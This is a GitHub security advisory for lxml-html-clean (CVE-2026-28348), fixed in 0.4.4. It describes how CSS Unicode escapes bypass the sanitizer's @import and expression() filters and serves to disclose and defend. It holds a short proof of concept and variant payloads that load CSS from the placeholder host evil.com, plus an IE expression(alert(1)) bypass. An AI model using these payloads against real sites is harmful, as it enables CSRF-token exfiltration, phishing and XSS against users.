GitHub Advisoryadvisory · PyPI
GHSA-hw26-mmpg-fqfg lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes
MEDIUM
Official page ↗
- Aliases
- CVE-2026-28348
- Ecosystem
- PyPI
- Packages
- lxml-html-clean
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Weaknesses
- CWE-116
- Reviewed
- 2026-03-02
Affected packages
• PyPI lxml-html-clean: < 0.4.4 → fixed in 0.4.4
Description
Summary
The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.
Details
The root cause is located in `clean.py` (around line 594):
```python
style = style.replace('\\', '')
```
This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement.
Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only).
PoC
```python
from lxml_html_clean import clean_html
Normal @import is correctly blocked:
clean_html('@import url("http://evil.com/x.css");')
Output: url("http://evil.com/x.css");
Unicode escape bypass:
result = clean_html('@\\69mport url("http://evil.com/x.css");')
print(result)
Output: @\69mport url("http://evil.com/x.css");
```
If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work.
Impact
External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.
Related
Alias · CVE (1)
- CVE-2026-28348 lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. vulnerability
Weakness · CWE (1)
- CWE-116 Improper Encoding or Escaping of Output weakness
References
- https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-hw26-mmpg-fqfg web
- https://nvd.nist.gov/vuln/detail/CVE-2026-28348 advisory
- https://github.com/fedora-python/lxml_html_clean/commit/2ef732667ddbc74ea59847bcf24b75809aaeed3b web
- https://github.com/fedora-python/lxml_html_clean package